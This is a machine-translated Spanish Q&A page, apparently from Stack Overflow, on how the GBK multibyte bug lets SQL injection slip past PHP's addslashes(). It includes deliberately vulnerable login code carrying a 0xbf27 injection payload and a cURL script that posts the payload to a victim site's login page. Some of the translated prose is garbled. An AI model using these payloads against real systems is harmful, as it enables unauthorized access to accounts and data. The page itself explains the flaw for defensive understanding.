una tipos reales prevenir paso pagina inyeccion injection hackear hacer ejemplos ejemplo como casos ataques php sql sql-injection security

php - tipos - sql injection ejemplos reales



Ejemplos de inyecciones SQL a través de addslashes()? (4)

Bueno, aquí está el artículo que quieres .

Básicamente, la forma en que funciona el ataque es haciendo que addslashes() coloque una barra addslashes() invertida en medio de un carácter multibyte, de modo que la barra invertida pierde su significado al formar parte de una secuencia multibyte válida.

La advertencia general del artículo:

Este tipo de ataque es posible con cualquier codificación de caracteres donde haya un carácter 0x5c válido que termine en 0x5c , porque addslashes() puede addslashes() para crear un carácter válido de múltiples bytes en lugar de escapar de la siguiente cita simple. UTF-8 no se ajusta a esta descripción.

En PHP, sé que mysql_real_escape es mucho más seguro que usar addslashes . Sin embargo, no pude encontrar un ejemplo de una situación en la que las addslashes permitan que se addslashes una inyección SQL.

¿Alguien puede dar algunos ejemplos?


Como una adición para los lectores de las respuestas aquí: Este error de MySQL ya ha sido reparado :)

Además, siempre es una buena práctica usar declaraciones preparadas. Es la forma más libre de explotación de las consultas (y, en varios casos de uso, las de mayor rendimiento). Y te habría salvado de este defecto.



Chris Shiflett explica claramente con el siguiente ejemplo: Eso funcionará, por supuesto, si lo intentas al usar la codificación GBK en tu base de datos. Incluso lo intenté, esto prueba, hay posibilidades de inyección de sql, aunque son muy inferiores, pero alguien con buen conocimiento y capacidad puede inyectarse fácilmente. Aquí hay un ejemplo...

<?php $mysql = array(); $db = mysqli_init(); $db->real_connect(''localhost'', ''myuser'', ''mypass'', ''mydb''); /* SQL Injection Example */ $_POST[''username''] = chr(0xbf) . chr(0x27) . '' OR username = username /*''; $_POST[''password''] = ''guess''; $mysql[''username''] = addslashes($_POST[''username'']); $mysql[''password''] = addslashes($_POST[''password'']); $sql = "SELECT * FROM users WHERE username = ''{$mysql[''username'']}'' AND password = ''{$mysql[''password'']}''"; $result = $db->query($sql); if ($result->num_rows) { /* Success */ } else { /* Failure */ } ?>

Aunque el uso de addslashes () o magic_quotes_gpc normalmente se consideraría algo seguro, el uso de GBK los haría casi inútiles. El siguiente script PHP cURL podría hacer uso de la inyección, espero que esto te ayude un poco más a entender:

<?php $url = "http://www.victimsite.com/login.php"; $ref = "http://www.victimsite.com/index.php"; $session = "PHPSESSID=abcdef01234567890abcdef01"; $ch = curl_init(); curl_setopt( $ch, CURLOPT_URL, $url ); curl_setopt( $ch, CURLOPT_REFERER, $ref ); curl_setopt( $ch, CURLOPT_RETURNTRANSFER, TRUE ); curl_setopt( $ch, CURLOPT_COOKIE, $session ); curl_setopt( $ch, CURLOPT_POST, TRUE ); curl_setopt( $ch, CURLOPT_POSTFIELDS, "username=" . chr(0xbf) . chr(0x27) . "OR 1=1/*&submit=1" ); $data = curl_exec( $ch ); print( $data ); curl_close( $ch ); ?>